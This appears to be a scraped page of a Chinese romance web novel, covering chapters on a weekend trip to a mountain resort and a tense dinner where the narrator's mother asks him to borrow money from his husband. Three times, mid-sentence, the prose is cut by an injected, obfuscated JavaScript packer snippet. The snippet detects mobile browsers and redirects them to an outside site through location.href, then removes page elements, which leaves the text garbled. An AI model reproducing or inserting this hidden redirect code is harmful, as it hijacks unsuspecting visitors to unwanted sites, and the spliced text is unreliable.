“贵妇”搭着护栏,正睡眼惺忪地从楼梯上下来,揉揉眼睛:“江软?你怎么在这?” 林纵早上起来,打了好几个电话,联系到江软让他坐闻凯的车先过来集合,江软当时也是这样的语气:“出去玩直接走人就是了,集什么合。” 林纵说:“宁嘉还在睡觉。” 江软:“......操。” “等你啊!”江软没好气地说。 等到宁嘉从楼梯上下来,江软直接跑过去,一把扑到宁嘉身上,挠他痒痒肉:“厉害了你啊,还得我等你,嫁得好就是不一样,成贵妇了。” 只有两个人是很好的朋友,才能开这样的玩笑。 宁嘉躲得眼泪都出来了,没有觉得江软说了他不开心的话:“我错了我错了,学长也没叫我起床啊。” 昨天也只是说了出去玩,时间没定好,宁嘉也没问过,潜意识里觉得林纵会把事情都安排好,所以也不着急,闹钟都没有定过,反正林纵不会把他丢家里自己跑了。 宁嘉看向林纵,林纵正在和闻凯说话,像是察觉到了宁嘉的视线,朝他看过来,温和道:“先去吃早饭。” “不准吃,”江软继续扑他,“我也还没吃。” 宁嘉朝闻凯喊:“你怎么不让江软吃饭?” 闻凯还在和林纵对要带的东西,闻言:“他是我谁啊,吃个早饭还要我请,又不是没有手。” “卧槽,”江软怒了,“这人怎么这么贱。” 宁嘉问:“你坐他车来的?贱不贱不知道?” “我都困死了,哪有空和他说话。”江软虽然爱好男,但也不是什么男的都看得上,闻凯长得不差,可看下去痞痞的,没个正形,一点都不是江软喜欢的类型。 昨晚临时说要出去玩,行程也没有规划,宁嘉嫌吃早餐浪费时间,直接打包和江软在车上吃,两人钻进宽敞的后座打滚,闻凯开车,林纵在副驾驶上看攻略。 宁嘉啃着水煮蛋,干巴巴地难以下咽,大半个蛋挤在腮边,拍拍林纵的肩:“学长,你吃过早餐了吗?” 林纵正指着一家商店和闻凯说:“先开到这里买东西。” “买什么?”宁嘉又问。 林纵转过头:“吃过了,牛奶喝了吗?” 宁嘉说:“吃完再喝。” “嗯,”林纵说,“去买泳裤,闻凯他们去超市买烧烤食材。” 江软不高兴了:“我给你们买吃的?” 宁嘉说:“闻凯买,闻凯提,你在旁边指挥。” 闻凯简直被气笑,谁能像他这样,对只见过一次面的人使唤来使唤去,还那么顺手,一点都不心虚:“对对对,你就勉强和我去超市吧,难道还要跟他们俩去买裤衩子。” “.....操,”江软简直受到了天大的委屈,“我也想结婚了嘉嘉,我要和我妈出柜!!我要结婚!!” 方向盘差点在闻凯手里晃了:“这一车三个基佬?” 宁嘉下意识反驳:“我才不是。” 三个人的目光齐齐聚集在宁嘉身上,已经和男人结了婚的宁嘉很怂的小声地补充:“我都没有喜欢过哪个男的。” 江软根本不把宁嘉的话当话:“哦,你学长不是男的?” 宁嘉垂下眼又不说话了。 说来也奇怪,江软一个因为性取向一直没有谈过恋爱的对于感情一知半解的人,在宁嘉和林纵的事情上看得格外透彻,可能是他对宁嘉太熟悉了,但凡宁嘉身上出现点江软没见过的一面,江软就能意识到,宁嘉这是动了凡心。 因为太明显了。 闻凯斜眼瞧向林纵,幸灾乐祸:“兄弟,道阻且长啊。” 林纵没什么表情:“嗯,不着急。” 这两句话都没有避着宁嘉,宁嘉听见了,耳朵发烫,却没有过多觉得不好意思,因为不是什么丢人的事,不管是和林纵在一起,还是像江软说的,喜欢林纵。 超市和停车场在同一层,服装在商城二楼,四人分工明确下了车后各自行动。宁嘉和林纵晃到二楼,随便找了个卖泳裤的进去,样式也是随便挑的,用宁嘉的话来说:“反正都是裤衩子,谁也别说谁优雅。” 紧接着宁嘉又悄悄问林纵:“学长,有没有穿着显大的款式?” 林纵:“?” 宁嘉眼珠子向下瞟了瞟,仗着没人看见,追问:“就,显大的。” 林纵的语言冰冷无情:“没有。” 宁嘉遗憾叹气:“怎么这样啊。” 林纵正色道:“你对自己不满意?” “......”宁嘉扬声:“怎么可能!” 林纵点头,收回视角,让营业员根据两人的尺码拿衣服,宁嘉摸摸下巴,思考:“江软应该和我差不多。” 林纵说:“你比他瘦一点。” 宁嘉呲牙:“凭什么?” “就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445565|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘦,”林纵捏了捏宁嘉的后脖颈,“都不长肉。” 宁嘉叹气,就很悲伤,接过裤衩子在身前笔画:“我好像吃不胖。” 林纵看了看:“骨架也小了点。” 拿着购物袋从店里出来,宁嘉和林纵小声抱怨:“我妈说我可能是长身体的时候饿到了。” 林纵搭着宁嘉往电梯里走,两人靠得很近,像是在说悄悄话:“以前没有饭吃吗?” 宁嘉说过的,他父亲嗜赌,赌是一件望不到头的事,因为赌倾家荡产的人不在少数,却从来没有听过,有谁因为赌发了家。 宁嘉那些年是怎么过的呢。 电梯里只有他们两个人,宁嘉的声音很轻,林纵却听得清:“我爸天天不回家,输赢我妈都生气,也经常不回家,我高中那时候走读,回到家连人都没有,冰箱也是空的,就别说吃饭了。” 宁嘉耸在林纵怀里,表情小心翼翼,语气却像在说别人的事:“没饭吃我就不吃嘛,饿了就睡觉,不过饿久了也不怎么饿,我爸有时候回来早也会给我做夜宵吃,基本都是赢了钱的时候。” 所以很多时候,宁嘉对父亲的感情也很复杂,特别在他去世以后,那些不堪的记忆随之远去,他渐渐想起小时候的蛋炒饭,在深夜里的饥饿下的夜宵,那都是父亲的好。 “他也不是没有好的时候。”宁嘉小声说,觉得这样的话背叛了他这些年受过的苦。 林纵揉着宁嘉的头发,一反常态没有说安慰的话:“以前没饭吃,现在还能这么挑食。” “......” 宁嘉哭笑不得:“你怎么这样啊。” 闻凯和江软还在超市里没出来,车库里热,于是又进去找人,那两人半天没个反应,宁嘉以为他们要打起来了,找了才知道两人的购物车都快塞满了,完全是大肆扫购,全然忘记他们此行最终的目的。 “两位,我们只开了一辆车。”宁嘉抱着胳膊,站在林纵身旁提醒两人。 江软把手上的东西丢进购物车,一点都不抱歉地说:“抱歉,我忘了。” 闻凯那辆购物车也满了:“多吃点就是了,出来玩还能饿着自己。” 两辆购物车的东西硬是把车子装满了,江软花钱大手大脚,还在问:“烧烤架不买吗。” 闻凯和他血拼都输了,连忙开车走人:“那边有那边有。” 闻凯都服了,不知道他以前为什么会羡慕江软,虽然过得幸福,但幸福得像个傻子。 度假村建在山中,群山环绕,云层叠堆,隐天蔽日,暑气被树木遮挡,迎面吹来的风是清凉的。 山路绕了一圈又一圈,坐在后排的宁嘉和江软晕车,下车后,江软靠在宁嘉身上,宁嘉搭靠在林纵身上,江软“呕”一声,宁嘉紧跟着“呕”一声,林纵被呕得紧皱眉头,看闻凯搭着车门傻笑:“一群菜逼。” 江软边呕边竖起中指,宁嘉蔫了吧唧跟了一根中指,林纵歪头看着这两人,简直不知道说什么好,指挥闻凯:“拿两瓶水出来。” 闻凯问:“刚刚是谁不让我买?” 林纵说:“没人。” 闻凯:“不是你?” 林纵:“不差你这点钱。” “所以是我幻听了?” “可能。” 几个小时车程坐的宁嘉酸软无力,整个人靠在林纵身上,恨不得让林纵背着走,这两人毫无营养的对话偏把他听笑了,抬头看向林纵,虚弱地傻笑。 林纵最近和富贵感情不错,偶尔会陪宁嘉在猫房待一会儿,学着挠挠富贵的下巴,这样的动作熟练,此时也下意识挠了挠宁嘉下巴:“笑什么?” 宁嘉接过开了瓶盖的水喝了一大口,缓过气来,又叹了口气:“出门玩太受罪了。”又说,“笑你好玩,你竟然是这样的学长。” 林纵接过水很自然地喝了一口,盖上盖子:“我怎么样?” 江软近观全程,此时日了狗一般心情,狗情侣,不给他水喝就算了,还他妈秀恩爱。 操! 33. 第 33 章 别墅里有四个房间。 宁嘉:“那......” “那什么那!” 宁嘉才说了一个字就被江软怼了,“你们俩结了婚住一个房间,”他看向闻凯,“我和他不熟,一人睡一个房间,还有一个房间放行李箱。” 宁嘉:“?” 江软怒气冲冲:“你有什么意见。” 江软凶得莫名其妙宁嘉一口气没提上来:“......我,” 江软:“有意见也不要说出来。” 宁嘉:“不是,我是想说,” “你别说了!” 宁嘉:“......” 宁嘉无奈地看着林纵,带着求助,不知道江软这是怎么了,发的什么疯。 平时撸起袖子就能和江软打一架,这个时候竟然和林纵眉来眼去个什么,江软都是为了谁! 在场三人除了宁嘉都心知肚明,偏偏林纵在装好人,问:“怎么了。” 宁嘉有气无力地把话说完:“我只是想说行李箱放自己房间就可以了。” 江软瞪他:“哦。” 周末出行主要是放松游玩,四人都不急着要出门,车开到别墅的时候,中午都过了。 “这里还有漂流,”闻凯看了眼时间,“现在去的话已经来不及了。” 江软是个人来疯,人不来也疯,当即搓搓手:“那我们现在干吗?” “当然是先吃饭。”闻凯和江少爷八字不是很合。 他们这四个人里,唯一点亮生活技能的是从小爹不疼妈不爱的闻凯,宁嘉眼里完美的林纵只能靠边站。 闻凯嗤笑,边切菜边吐槽:“别扯了,你让林纵站在这,你看看他会不会洗菜。” 宁嘉才不管,以往会想着帮忙的人,这会儿和江软一块窝在沙发上脑子里只想着吃。 果然,“贵妇”的生活使宁嘉懒惰。 “我会。”林纵在这个时候突然说。 闻凯:“什么?” 宁嘉嘴里叼着薯片扭头看向林纵,林纵淡淡道:“我会洗菜。” 宁嘉怎么都没有想过,来予市之后的生活是充满快乐的,和江软在一起很开心,渐渐的,他也发现林纵和他想象的不一样。 那是宁嘉无法形容的,却觉得非常奇妙的差异。 闻凯在厨房砍瓜切菜显得非常忙碌,而林纵吹完牛之后竟然只是在边上看着,丝毫没有要帮忙的意思。 “?”闻凯:“兄弟,既然会不来搭把手。” 林纵最近都会笑了,学着闻凯的话说:“搭不了一点。 江软一嘴薯片差点喷了,这种人讲笑话实在是太可怕了。 宁嘉和江软在吃鸡,两人开了电视,在掺杂的背景音下激情钢枪,时不时混着两句脏话,林纵只好来帮闻凯的忙,闻凯笑了下:“所以你打游戏菜是真的?” 那两人是明目张胆地嫌弃林纵,毫不留情把他排除在外。 林纵面无表情:“很意外么?” 闻凯乐了,没再说这个,他和宁嘉不一样,和林纵认识十多年,因为知道他的成长经历,反而没觉得他是多完美的人,林纵其实很普通,他的优秀只是比旁人更加努力而已。 闻凯把带来的海鲜先处理了,准备做烩面和烩饭:“先吃这个,晚上烧烤。” 林纵帮他打下手:“都可以。” 周末出行是闻凯提起的,但林纵表现地太平静了:“你就没点计划?” 平时拿惯了文件的人,这会儿正在摘菜叶子:“不是你说要来的吗?” 闻凯问:“你本来打算去哪?” 林纵说:“在家里。” 闻凯真是太惊讶了,为什么林纵这样的人能有老婆,但是他没有:“哥们,你是一点都不知道,明天是七夕吗?” “什么,明天七夕?” “啊?明天七夕。” 林纵:“?” 打游戏的两人异口同声的表达了林纵的疑问,紧接着,林纵才慢吞吞地问:“七夕?” 闻凯:“......是啊,哥几个,是一点都不想过节啊?” 江软后脑勺对着闻凯:“有什么好过的,单身狗一个。” 单身狗闻凯被重创了。 宁嘉也后脑勺对着闻凯:“从来没有过过七夕,谁还管七夕是哪天。” 林纵顺便又转过身,背对着闻凯,一言不发。 闻凯:“......行。” 饭和面被端上桌,闻凯还做了百香果柠檬手打茶,宁嘉用崇拜的目光看着闻凯,连江软都差点狗腿,林纵无奈,眼睁睁看着宁嘉的心要跑,闻凯狂笑,问宁嘉:“要不要和林纵离婚,和我在一起?” 宁嘉嘴里塞着饭,坚决拒绝:“才不要。” 宁嘉慕强,但也知道在自己眼里,林纵和其他人不一样,闻凯做饭很厉害只能是闻凯,但只有林纵是学长,是那个曾经在学校里只是让他看了一眼就忘不了的人。 宁嘉当年喜欢林纵是他站得太高了,云里雾里看人最朦胧,而看不清的时候,最容易滋生好感。当然不是说现在的林纵不好,现如今林纵站在更高的地方,宁嘉却不需要再仰视他,那份喜欢不再模糊,只是他依旧看不清楚。 不知出于什么心理,宁嘉也不想看清。 饭后各自午睡,宁嘉进了房间,林纵在他身后关门。 “我们可以睡到什么时候?”宁嘉转过头,因为环境好,心情也很好,笑着问。对上林纵的视线时,笑容却莫名僵住,“学长......?” “怎么了?”林纵明知故问。 眼下的氛围有些暧昧,可能是陌生的环境,也可能是林纵落在宁嘉身上的眼神如有实质,宁嘉垂下眼帘,无端心虚道:“我想洗个澡。” 林纵点头:“去吧。” 宁嘉问:“......那你?” “你洗完我再洗,”林纵直视着宁嘉,平淡地问,“还是说你想和我一起洗?” 宁嘉惊恐脸,头也不回地往浴室跑了。 宁嘉睡前的习惯,是一定要等着林纵一起睡,所以他哪怕困得要死,躺在被窝里眼睛一眨一眨的,硬是支撑着等林纵也躺进来才肯闭眼,林纵把他往怀里捞了捞:“睡吧。” 宁嘉睁开眼,他本来是困了的,被这一下捞醒了:“学长,我觉得你可以松开我一点再睡。” 林纵嗅嗅他的脖子,语气淡淡:“不可以。” 但宁嘉被抱得不自在:“为什么?” 林纵冷淡地说:“我劝你不要问。” 宁嘉:“......晚安。” 太阳下山后几人才陆陆续续从房间里出来,午觉睡得沉,要不是饿了,都不想起床。 山间凉爽,但蚊子也多,每个人身上都是花露水的味道,围着烧烤架吃烤串,江软以往是不参与这项活动的,今天完全是被闻凯刺激的,家庭煮夫那么优秀的称呼,他不想要,但可以一争。 手机外放着音乐,闻凯喝着啤酒晃着脑袋,时不时还和江软干杯,逛超市的时候江软特意买了点小度数的果酒,宁嘉支着下巴,迷起眼睛,也和林纵碰杯。 “会过敏吗?”知道宁嘉过敏后,没让宁嘉碰过酒。 这样的氛围下,宁嘉有点嗨,眨眨眼睛大笑着说:“会就送医院嘛。” 江软姿势豪放,像个DJ随着音乐律动:“嘉嘉能喝一点的,但是很久没喝酒量可能有点差,学长你放心,他酒品可好了,要是不好的话,你乘虚而入,他也不会介意的。” 宁嘉又没醉,听江软在那满嘴跑火车:“江软你太吵了。” 撒了孜然和辣椒粉的烤串被递到宁嘉面前,滋滋冒油,宁嘉连忙接过来,给闻凯开了灌啤酒,江软在那喊:“我也要我也要。” 林纵起身去切水果,显然不想搭理江软。 江软和宁嘉大声讲坏话:“你看看他,我都说了他是个坏东西!” 宁嘉拍拍江软的肩:“没关系,他不是你老公。” 闻凯看向林纵,两人挺默契地笑笑。 酒壮宁嘉胆,说了这样的话还和林纵抛媚眼,一副“你看我说的好吧”的表情。 夜晚,天上的星星格外明显,夜风清凉,四人在躺椅上看星星,闻凯伸了个懒腰:“舒服,人活着不就追求这样的时刻吗。” “倒也不是,”宁嘉故意说,“我们家现在草坪也很凉快,还可以撸猫。” 林纵说:“对。” 江软也反驳:“我还能在院子里开摩托。” 闻凯一躺椅能砸死三个。 长夜漫漫,闻凯找到一副麻将,四个人找不到一个会玩的,上网找了教程,边学边玩。 学习好是有优势的,闻凯一人输三家:“明天漂流你们请客,回家油钱我不加。” “小气抠门样,”同样输钱的江少爷十分阔绰,“我请,我付,”他甩甩头发,“今夜由江少爷买单。” 宁嘉在群聊里收钱,大喊:“江少爷酷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462870|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炫!” 江少爷就很满意。 第二天去玩了漂流,两人一艘皮划艇从山上滑下来,期间碰到山间岩石,皮划艇转了个弯,宁嘉背对着山下的方向朝下滑行,兴奋地直叫:“学长,我会不会掉下去!” 宁嘉看着像是迫不及待要掉进水里。 山脚下是一池平坦的溪水,连着周围的河水,中间做了隔断,算是挺大一片区域。 皮划艇都聚集在这里,江软他们下来得快,就在出口等着宁嘉,迎面滋了一枪水。 先前在山上买了水枪,闻凯不参与这么幼稚的活动,坐得远远的,不想被江软和宁嘉误伤。 但两人玩疯了,谁都没有放过,站在皮划艇上滋水,最后双双掉进水池,被人捞起来。 宁嘉玩累了,往后一躺,靠在林纵身上,感叹,这样的日子就很满意。 林纵揉了把宁嘉被打湿的头发,看向远方。 阳光晒得迷人眼睛,他们在大自然里难得很自由。 回去是林纵开车,江软愁得直叹气:“明天要上班,回家还要接受我妈的催婚,实在不行,嘉嘉,你离个婚吧,这样我妈就不催我结婚了。” 宁嘉瘫在江软身上,累惨了:“我觉得你可以出柜,被赶出来的话我收留你。” 江软就没想过宁嘉这个穷鬼有一天能说出这种话来,笑死:“那说好了,你得收留我。” 宁嘉点头,就没想过因为他的话,江软竟然真的和家里出柜。 “回去后找个餐厅吃饭吧?”闻凯建议。 林纵说:“行。” 江软:“我来挑我来挑,我饿死了。” 宁嘉在予市里还像个外人,除了公司楼下的二十四小时便利店哪里都不认识,他被人安排了两天,什么都不用干,好在感觉也还不错。 江软还想再喝点酒,闻凯摆摆手:“你喝吧,回去还得有人开车。” 林纵说:“我开,你喝。” 闻凯:“那不行,我没得喝,你也没得喝。” 江软:“这还不简单,你们俩都喝,嘉嘉开车。” “不行不行,”宁嘉一筷子肉差点掉下去,慌得一批,“我不会开车。” 江软:“你有驾照。” 宁嘉:“但是我从来没开过。” “学着开,总要有个第一次的。” 宁嘉的驾照是早就考了的,他对自己的人生规划清晰,什么时候该做什么事,唯一失控的不是父亲去世那年,而是今年,许诗瑶生病却不想着治,不知是为了自己还是吴良仁,导致宁嘉还是迫不得已来了予市,和前半生的生活告别。 “开呗,随便开,”江软显然没当一回事,“我们都把安全带系上,你二十码慢慢来。” 宁嘉说了一晚上的不行,没人听,闻凯管自己给林纵倒了酒,三人在催促宁嘉成长的步调上格外统一,也不是什么不好的事。 他们最后都醉了,只剩下宁嘉一个清醒的肩负着开车的重任,三个醉鬼七嘴八舌地教宁嘉开车,一身蛮力,把人连拖带拽塞进驾驶室。 江软一马当先,指挥:“钥匙钥匙先塞进去!” 闻凯紧随其后:“挂挡,对,就那玩意” 林纵坐在宁嘉身边,嫌后面两个喝得烂醉的太吵了:“先踩刹车。” 宁嘉被三个酒鬼吵得头昏脑涨,才碰上车又觉得紧张:“等等等等!别说话!” 江软脑袋凑上去:“挂N档,开车啊,开他个八十码。” 闻凯被挤了位置,抓着江软的脑袋要把人弄来:“不要急不要急,哎!右转右转,打转向灯,右转灯向上!” 江软:“那是雨刮!” 正在此时,林纵慢悠悠地提醒:“红灯,刹车。” 宁嘉:“......” 一路人三张嘴就没有停过,宁嘉听了无数喇叭声,用二十码的车速硬是把车开回了家,江软在后座笑得花枝乱颤,太刺激了,最后脚步虚浮下了车。 这是宁嘉这辈子少有的快乐时光,在紧张着体会着刺激与快乐,夏夜,晚风,身边有朋友,和被酒精渲染下最纯粹的笑意。他笑着把江软扶过来站好:“你回家吗?我叫车送你回去。” 江软晕乎乎地:“回,当然回。” 手机点开,屏幕才亮,来电铃声先响了,江软虎躯一震:“谁,是谁?!” 闻凯转过头,林纵眯着眼瞧过去。 宁嘉一整天挂在脸上的笑容,突然没了:“我妈。” 34. 第 34 章 察觉到气氛的不寻常,林纵当即醒了酒:“怎么了?” 宁嘉摇头不太想说:“江软你自己回去?” 江软摆摆手:“嗯,没事,你别生气,好好说。” 林纵朝闻凯递了个眼神,闻凯会意:“那我们先走了。” 宁嘉有时候还挺羡慕的,那些酒精不过敏的人,可以因为酒喝得烂醉,可以借由酒精说那些平时无法说出口的话,清醒的人总是顾忌很多,因为在意,于是说不出口。 客厅里的灯点亮又被关闭,两人回到房间,狭小空间密闭,林纵不放心,仍是追问一句:“发生什么事了?” 宁嘉转过身,微微垫脚,搭在林纵的肩上,抱着他的脖子很轻地拥抱他,脸颊埋在林纵脖颈处:“学长。” “嗯?” “我没事,”宁嘉没有再故作镇定,他一点都不开心,可他说,“我想自己先处理看看,不行的话,我再告诉你。” 宁嘉这是自己做好了决定,并没有打算让林纵掺和,其实林纵如果参与,能很快解决这件事,但是没有用,因为吴良仁的贪心和许诗瑶对他的爱一样,是个无底洞。 这两人之间没有一个是清醒的,那么无论如何,这些纷乱的琐事就没法善了。 林纵回抱着宁嘉,这种时候任何安慰的话都没有意义,手搭在他肩上拍了拍:“我不问。什么时候你想说了,再告诉我,不一定是需要我帮助,随时都可以。” 宁嘉点点头,收回手后才觉得局促,脸颊上皮肤相贴的温度滚烫,他松了手,那些无法言说的感觉却没有散。 这两天许诗瑶也发了不止一次消息给宁嘉,宁嘉都推脱自己不在家,这其实真是个好理由,因为和林纵在一起让许诗瑶能够意识到他那些请求实际上是不讲道理的。 但周末结束了,许诗瑶好像再也等不了了,于是她给宁嘉打来电话,似乎是最后期限到了,就算没有道理,她也不想等了。 林纵去书房处理工作,把卧室留在宁嘉,宁嘉考虑了一会儿,还是决定不和许诗瑶通话,改为发微信,约定了周一见面,但是不要在许诗瑶的家里。 许诗瑶不理解:为什么。 文字表达出来的语言要比语音苍白很多,许诗瑶的话显得很冷漠,但宁嘉偶尔觉得这才是他妈妈真实的样子。 宁嘉回:那不是我的家。 许诗瑶发了条语音:“说什么傻话。” 宁嘉转成文字,不为所动,问许诗瑶明天是要吃饭还是喝咖啡。宁嘉心里有数,已经不再期待,母亲特意为他在做什么,其实也是,宁嘉偶尔都能动了原谅父亲的心思,许诗瑶心里没有他这个儿子也是可以理解的。 许诗瑶还是发语音:“当然是吃饭啦。” 宁嘉:好,吃饭地点我明天发给你,我六点半左右到。 许诗瑶的文字量还是不够,她可以看懂宁嘉说的话,但是理解很慢,要是宁嘉愿意发语音是最好的,但宁嘉不愿意,他此时的情绪不允许。 林纵洗漱完回来,宁嘉还是坐在床上等,心情看起来没恢复多少,但是是笑着的,看林纵慢慢向他坐过来。 林纵揉他的头发:“等了好久?” 宁嘉笑说:“也没有很久。” 林纵说:“头发都干了。” 宁嘉说:“我也不知道,发了会儿呆,可能时间过太快了。” 林纵的手滑下来捏了捏宁嘉的耳垂:“睡吧。” 关了灯,卧室暗下来,静悄悄的,宁嘉平躺在床上,乱七八糟想到很多事情,最近不知怎么了,还会经常想到他那个短命的赌鬼爹,叹了口气。 林纵听到声音:“睡不着?” 宁嘉侧过身,这才发现今天晚上林纵都不抱着他睡了,习惯真奇怪。他很快摒弃这个想法,说:“明天晚上要和我妈去吃饭。” 林纵说:“好。” 宁嘉想了想,觉得自己在林纵面前藏不住话,没忍住说:“也不知道我妈什么眼光,当初嫁给我那个赌鬼爸,现在又喜欢上一个贪心鬼,真是见鬼。” 他这才算是恢复了情绪,话说出口,那些憋闷的情绪才跟着散了不少,林纵把他环过来抱着,像是小心翼翼地搂着一个喜欢抱枕,带着珍惜和舍不得。 第二天上班,同事发现宁嘉脖子上的红痕淡了点又没散,说不清是淤血化开了,还是新添的那个没那么深,八卦之魂熊熊燃烧:“宁嘉,这个是你老婆咬的啊?” 宁嘉:“......” 大多数同事虽然好奇,但基本不会舞到正主头上,这位同事工位离宁嘉最近,工作上的事一旦闲下来嘴巴就停不下来,总想着聊天,而宁嘉又是新来的,不熟的人身上总藏着秘密。 大概是憋着火,被许诗瑶气得差不多了,宁嘉突然就不想忍了,觉得没什么大不了的,便说:“没有,是我学长。” 同事:“???” 宁嘉十分淡定地补充:“我们是同性结婚,大学校友,你还有什么要问的吗?” 同事十分尴尬:“抱歉,你生气了吗?” 宁嘉摇摇头:“没有。”怕同事不信,又说,“真没有。我没觉得和他结婚有什么不能说的,我也很喜欢他,他对我很好,结婚是我提的,不想说只是怕你们接受不了。” “有什么接受不了的。”那一群一直不敢开口的同事在此时纷纷应话,“我们就爱磕这样的。” “对啊对啊,帅哥美女早就看腻了,我们就喜欢看帅哥和帅哥在一起。” “什么师生恋,师兄恋最好了。” 这倒是宁嘉的不是了:“......” 就算许诗瑶说要和宁嘉一块吃饭,但宁嘉还是挑了间咖啡厅和许诗瑶见面,周末出去玩了一趟,心情高涨,宁嘉却突然对许诗瑶失望了,想通之后不那么难过,对待许诗瑶的态度忽然豁然开朗,也不纠结了。 许诗瑶气色不错,听说也有按时去医院做检查,吴良仁那边仍然是瞒着的,除了宁嘉和林纵结婚这件事,似乎一切都没有变。 宁嘉到的时候,许诗瑶正在补妆,她点了两杯冰饮,宁嘉把她那份换成常温的:“你就别喝冰的了。” 许诗瑶害羞地笑:“我想喝嘛。” 这个女人四十岁了,娇羞起来还是那么好看,宁嘉叹了口气,不怪他妈天真,长成这样,又有男人哄,人生哪有什么烦恼。 宁嘉照自己的胃口点了几道菜,又问许诗瑶的意思,许诗瑶笑说:“都可以呀,我随便吃点就行。” 宁嘉问:“你要减肥?” 许诗瑶说:“没有呢。” 宁嘉就不再问了。 等菜的时候,许诗瑶问起宁嘉最近在干什么,宁嘉像以前那样和她汇报:“上上个星期和林纵回了趟岩市搬家,上个星期和林纵周末出去玩,最近在上班,新同事还不错。” 虽然被影响着,但宁嘉还是过着不错的生活。 许诗瑶应该是高兴的,却又有些感慨,眼神暗了暗:“你长大了,不需要我也可以做好很多事了。” 宁嘉皮起来谁的面子都不给:“这话说的,从高中毕业后你就没有管过我了,大一新生报到还是我自己去的,钱都不用你给我,能需要你干什么啊。” “怎么这么没有良心,”许诗瑶嗔怪他,“不是我生的你啊。” “是你生的,所以我如今英俊潇洒玉树临风风流倜傥才高八斗,都是因为你。”事实上不管宁嘉怎么生气,也不愿意给许诗瑶脸色看,当着面他怎么都做不到。 许诗瑶被哄得直笑,在她眼里宁嘉还是宁嘉,从来没有变过,和不曾和她疏离。 上了菜,许诗瑶把几个盘子都摆到宁嘉面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478325|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前:“多吃一点。” 宁嘉也没客气,拿了筷子就上:“我都饿了,中午叫的外卖不好吃。” 许诗瑶便问:“平时在家吃的怎么样?” “家里有阿姨,”宁嘉看着他妈,语气又有些冷淡,“做菜水平比你好多了。” 没见面的时候总是憋着火,这样那样对许诗瑶不满意,见了面又想起来妈妈的身份,宁嘉怕惹她不开心,又怕她担心,总是在说生活里的好,但宁嘉想想,他过得也确实不错。 许诗瑶很欣慰:“小纵对你很好。” 宁嘉点头:“本来要和我结婚的是林少,林平生的大儿子,那个人是个煞笔,但林平生偏心,觉得传宗接代的任务要给亲儿子,所以就把林纵推出来了。” 许诗瑶还是第一次知道这些事情:“小纵不是他亲生的吗?” “林纵是私生子,”宁嘉看着许诗瑶说,“妈,你把嘴闭严实了,别什么话都告诉吴良仁。” 许诗瑶明白过来宁嘉的意思,点头:“我知道,我不和他说。” 宁嘉便继续说:“林家人对林纵不好,上次林平生让我去他家的时候,我感觉出来了,林少带了个长得像我的男生恶心林纵,林平生看出来了,一句话都不说。” 这样的事从小到大林少一定没有少干,而林纵长成这样的性格,亲妈的基因肯定很重要。 许诗瑶皱眉:“他怎么这样啊,看不出来是这样的人。” “人不可貌相呗,”宁嘉吃了口菜,“你什么都不了解,为了让吴良仁开心,把我往火坑里送。” “但小纵不是挺好的吗?” 宁嘉就知道,他说这些也是白说,像是和许诗瑶站在城墙边聊天,宁嘉在墙下,许诗瑶却在城墙上,她可以居高临下顺着宁嘉的话说几句好话,但她站得那么高,自以为视野开阔,说话便带着理所应当。 没什么意思。 “是啊,林纵挺好的。”宁嘉兴致缺缺地说。 “我知道你的意思,”许诗瑶笑了笑,“但是人这辈子能和谁在一起也是个缘分,你不要总觉得我让你和林家人结婚就是不好,男生和女生其实真的不重要,我和你爸爸在一起这么多年,还不是没办法相伴到老。” 提都提了,宁嘉顺便想问:“我爸那时候都这样了,把家产都败光了,你还喜欢他吗?不想让他去死?还想和他一起变老?” 许诗瑶哭笑不得:“你这小孩,怎么说话这么直。” 宁嘉淡淡:“不小了。” 许诗瑶想了想,说:“我那时候觉得和谁在一起都是一样的,没有觉得换了你爸,和别人在一起就会过得好,况且你爸也不是完全没有优点。” 宁嘉眼神陌生,因为第一次听到这样的话,十分难以置信。 “生气当然是生气的,他那么赌,把家里的钱都输光了,可是那时候是没有想过的,就觉得他不会有别人,还想着等他以后老了,赌不动了,把他抓起来打一顿。” “结婚就是一场赌博,”许诗瑶俏皮地笑,“我觉得自己不算是输。” 毕竟宁父都死了。 也不知道怎么说到这些的,宁嘉喝了口饮料,说:“我最近老是想起他,不知道是不是因为他死了,也没那么怪他了。” “怪不怪都行,”许诗瑶说,“你自己开心就好了。” 宁嘉点了点头。 这样的氛围挺好的,宁嘉心情也不错,许诗瑶看向儿子,犹豫了一会儿还是说:“今天找你来,是有事想和你说。” 宁嘉抬眼,他这会儿确实是情绪不错,因为找到了被宽容的理由,都没那么排斥许诗瑶了。 许诗瑶斟酌着,谨慎地说:“你说小纵很好,能不能让他,借一点钱给叔叔,叔叔现在真的很需要。” 